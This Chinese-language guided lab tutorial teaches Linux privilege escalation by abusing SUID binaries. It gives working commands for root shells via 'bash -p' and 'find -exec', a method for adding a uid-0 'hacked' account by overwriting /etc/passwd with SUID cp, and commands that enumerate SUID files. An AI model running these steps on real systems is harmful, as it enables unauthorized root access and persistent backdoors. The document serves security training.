利用 SUID 二进制文件在 Linux 中进行权限提升

NmapBeginner
立即练习

介绍

在本实验中,你将学习 SUID(Set user ID upon execution,执行时设置用户 ID)权限,以及如何利用它在 Linux 系统上进行权限提升。目标是通过利用 SUID 二进制文件,结合 bashfindcpmv 等命令,获取 root 权限。

这是一个实验(Guided Lab),提供逐步指导来帮助你学习和实践。请仔细按照说明完成每个步骤,获得实际操作经验。根据历史数据,这是一个 初级 级别的实验,完成率为 95%。获得了学习者 96% 的好评率。

理解 SUID

在这一步中,你将了解 SUID 权限的概念及其意义。

通常情况下,当程序在 Linux 上执行时,它会以当前用户的权限运行。然而,某些程序(如 cp)需要提升权限才能执行某些操作,例如将文件复制到受限制的目录中。为了让普通用户能够以提升的权限执行此类程序,可以在可执行文件上设置 SUID 权限。

SUID 代表“执行时设置用户 ID”(Set user ID upon execution)。当文件设置了 SUID 权限时,无论执行它的用户是谁,它都会以文件所有者的权限运行。例如,cp 命令由 root 用户拥有,并且设置了 SUID 位,允许任何用户以 root 权限执行它。

要检查 cp 命令的 SUID 权限并将输出保存到文件中,请运行以下命令:

ls -l /usr/bin/cp > /home/labex/project/suid_cp.txt

使用以下命令查看 suid_cp.txt 文件的内容:

cat /home/labex/project/suid_cp.txt

预期输出:

-rwsr-xr-x 1 root root 141832 Feb  8  2024 /usr/bin/cp

你应该会在权限位中看到一个 s,这表示 SUID 权限已设置。

虽然 SUID 可以用于允许普通用户运行特定的特权命令,但如果 SUID 二进制文件提供了执行系统命令或修改文件的功能,它也可能被利用。

使用 bash 利用 SUID

在这一步中,你将学习如何利用具有 SUID 权限的 bash 命令进行权限提升。

  1. 首先,打开终端并导航到 /home/labex/project 目录。

    cd /home/labex/project

    检查 bash 命令的权限。

    ls -l /bin/bash

    预期输出:

    -rwsr-xr-x 1 root root 1037520 Feb 5 2022 /bin/bash
  2. 如果 bash 命令设置了 SUID 位,你可以使用以下命令以 root 权限执行系统命令:

    bash -p

    使用 whoami 命令,你可以验证是否获得了 root shell。

    whoami

    预期输出:

    root
  3. 现在,你可以在 /root 目录下创建一个名为 root.txt 的文件,并验证文件内容。

    touch /root/root.txt

    你应该会在 /root 目录中看到 root.txt 文件。

使用 find 利用 SUID

在这一步中,你将学习如何利用具有 SUID 权限的 find 命令进行权限提升。

在上一步之后,你应该已经获得了一个 root shell。为了完成这一步,你需要通过 exit 命令或打开一个新的终端,退出 root shell 并以 labex 用户重新登录。

  1. 首先,导航到 /home/labex/project 目录:

    cd /home/labex/project

    检查 find 命令的权限:

    ls -l /usr/bin/find

    如果 find 命令设置了 SUID 位,你可以利用它以 root 权限执行系统命令。

  2. 使用 find 执行命令的语法如下:

    find < file > -exec < command > \;

    其中,<file> 可以是任意文件。让我们创建一个名为 test 的文件:

    touch test
  3. 现在,你可以使用 find 执行命令:

    find test -exec whoami \;

    这将以 root 权限执行 whoami 命令。然而,这种方法对于像 sshsu 这样的交互式命令并不方便。

  4. 为了获得一个更方便的 root shell,你可以执行 /bin/bash 命令:

    find test -exec /bin/bash -p \;

    注意:-p 标志是必要的,用于保留有效用户 ID(EUID)并防止其被重置为真实用户 ID(RUID)。

  5. 你现在应该已经获得了一个 root shell。在 /root 目录下创建一个名为 root.txt 的文件,并验证文件内容:

    touch /root/root.txt

    你应该会在 /root 目录中看到 root.txt 文件。

使用 cp 和 mv 利用 SUID

在这一步中,你将学习如何利用具有 SUID 权限的 cpmv 命令,通过修改 /etc/passwd/etc/shadow 文件进行权限提升。

在上一步之后,你应该已经获得了一个 root shell。为了完成这一步,你需要通过 exit 命令或打开一个新的终端,退出 root shell 并以 labex 用户重新登录。

  1. 首先,导航到 /home/labex/project 目录:

    cd /home/labex/project

    检查 cp 命令的权限:

    ls -l /bin/cp

    如果 cp 命令设置了 SUID 位,你可以继续利用它。

  2. /etc/passwd 文件的内容复制到你的主目录下的一个文件中:

    cat /etc/passwd > /home/labex/project/passwd
  3. 创建一个新的用户条目,包含以下信息:

  • 用户名:hacked

  • 密码:pass123

    /home/labex/project/passwd 文件的末尾插入以下行:

    echo 'hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /home/labex/project/passwd
  1. 现在,使用具有 SUID 权限的 cp 命令覆盖 /etc/passwd 文件:

    cp /home/labex/project/passwd /etc/passwd
  2. 覆盖文件后,你可以使用 su 命令切换到 hacked 用户,密码为 pass123

    su hacked

由于 hacked 用户的用户 ID(uid)为 0,你将拥有 root 权限。

mv 命令的利用方法与 cp 类似。你可以自己尝试。

查找 SUID 二进制文件

在这一步中,你将学习如何查找系统中可能被用于权限提升的 SUID 二进制文件。

  1. 你可以使用以下命令列出所有设置了 SUID 位的可执行文件:

    find / -user root -perm -4000 -print 2> /dev/null
    find / -perm -u=s -type f 2> /dev/null
    find / -user root -perm -4000 -exec ls -ldb {} \;
  2. 导航到 /home/labex/project 目录以执行以下步骤。

    cd /home/labex/project
  3. 选择任意一个命令来列出系统中的 SUID 二进制文件并分析输出。

    find / -user root -perm -4000 -print 2> /dev/null > check_results.txt

    检查 check_results.txt 文件的内容以查看系统中的 SUID 二进制文件列表。

    cat check_results.txt

    然而,输出可能包含许多无法用于权限提升的文件,需要手动分析。

总结

在本实验中,你学习了 SUID 权限以及如何利用各种 SUID 二进制文件(如 bashfindcpmv)在 Linux 系统中进行权限提升。你通过实际操作获得了利用这些二进制文件获取 root 访问权限的经验,这是网络安全领域中的一项关键技能。实验提供了一个实际场景,并引导你逐步理解和有效应用这些技术。